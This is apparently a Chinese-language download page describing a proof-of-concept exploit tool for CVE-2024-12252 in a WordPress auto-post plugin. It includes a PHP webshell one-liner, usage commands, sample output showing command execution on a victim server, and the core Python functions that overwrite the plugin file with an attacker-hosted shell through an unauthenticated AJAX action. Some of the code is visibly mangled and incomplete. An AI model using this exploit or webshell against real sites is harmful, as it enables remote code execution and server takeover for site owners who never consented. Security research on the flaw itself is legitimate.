康小丁
27.19M · 2026-03-27
这是一个专业的、针对 WordPress SEO LAT Auto Post 插件中高危漏洞 (CVE-2024-12252) 的概念验证 (PoC) 利用工具。该工具能够自动化检测目标站点是否存在漏洞,并利用其缺陷覆盖插件核心文件,最终实现远程代码执行。
remote_update AJAX 动作中缺失的权限检查,将用户提供的恶意 PHP shell 覆盖到插件的主文件 (seo-beginner-auto-post.php) 中,从而在服务器上执行任意代码。ls, whoami 等。pip (Python 包管理工具)本项目依赖于 requests 库来发送 HTTP 请求。在运行脚本之前,请使用以下命令安装所需的依赖:
pip install requests
在运行此工具前,你需要准备一个包含恶意 PHP 代码的 shell.php 文件,并将其托管在一个你可以访问的 Web 服务器上(例如 )。该文件的内容可以是一个简单的 webshell,例如:
<?php system($_GET['cmd']); ?>
脚本接受以下命令行参数:
| 参数 | 描述 | 是否必需 |
|---|---|---|
-u, --url | 目标 WordPress 站点的根 URL (例如 ) | 是 |
--attack-url | 你托管恶意 PHP shell 文件的直接 URL | 是 |
-h, --help | 显示帮助信息 | 否 |
检查目标并执行利用
python CVE-2024-12252.py -u --attack-url
执行过程示例输出
[+] Detected plugin version: 2.2.0
[!] Plugin is vulnerable. Proceeding with exploitation...
[+] Ready for exploitation stage...
[+] Triggering exploit with payload:
[+] Exploit triggered successfully.
[+] Shell should be available at:
[+] Shell successfully uploaded. Access it at:
[+] Executing 'ls' command:
index.php
wp-config.php
wp-content
...
check_vulnerable_version(base_url)base_url - 目标站点的根 URL。True 如果版本小于等于 2.2.1,否则返回 False。exploit_remote_update(base_url, attack_url)base_url - 目标站点的根 URL;attack_url - 托管恶意 PHP shell 的 URL。None。execute_command(shell_url, command)shell_url - shell 文件的 URL;command - 要执行的系统命令。以下是项目中的核心代码片段,展示了漏洞检测和利用的关键逻辑。
漏洞版本检测函数
def check_vulnerable_version(base_url):
try:
if response.status_code == 200:
match = re.search(r"Stable tag:s*([d.]+)", response.text)
if match:
version = match.group(1).strip()
print(f"[+] Detected plugin version: {version}")
if version <= "2.2.1":
print("[!] Plugin is vulnerable. Proceeding with exploitation...")
return True
else:
print("[-] Plugin version is not vulnerable.")
else:
else:
except requests.exceptions.RequestException as e:
print(f"[-] Error while connecting: {e}")
return False
漏洞利用核心函数
def exploit_remote_update(base_url, attack_url):
print(f"[+] Triggering exploit with payload: {attack_url}")
exploit_url = base_url.rstrip('/') + "/wp-admin/admin-ajax.php?action=remote_update&url=" + attack_url
try:
response = session.post(exploit_url, timeout=10)
if response.status_code == 200 and 'success' in response.text:
print("[+] Exploit triggered successfully.")
shell_path = base_url.rstrip('/') + "/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php"
print(f"[+] Shell should be available at: {shell_path}?cmd=whoami")
return shell_path
else:
print("[-] Exploit may have failed. Response:")
print(response.text)
except requests.exceptions.RequestException as e:
print(f"[-] Exploit error: {e}")
return None
该函数构造并发送一个 POST 请求到 admin-ajax.php,利用 action=remote_update 和用户提供的 attack_url 参数,将恶意文件内容写入目标插件的主文件,从而实现覆盖。
6HFtX5dABrKlqXeO5PUv/7Ow7viratU2TElqNnTrDVY=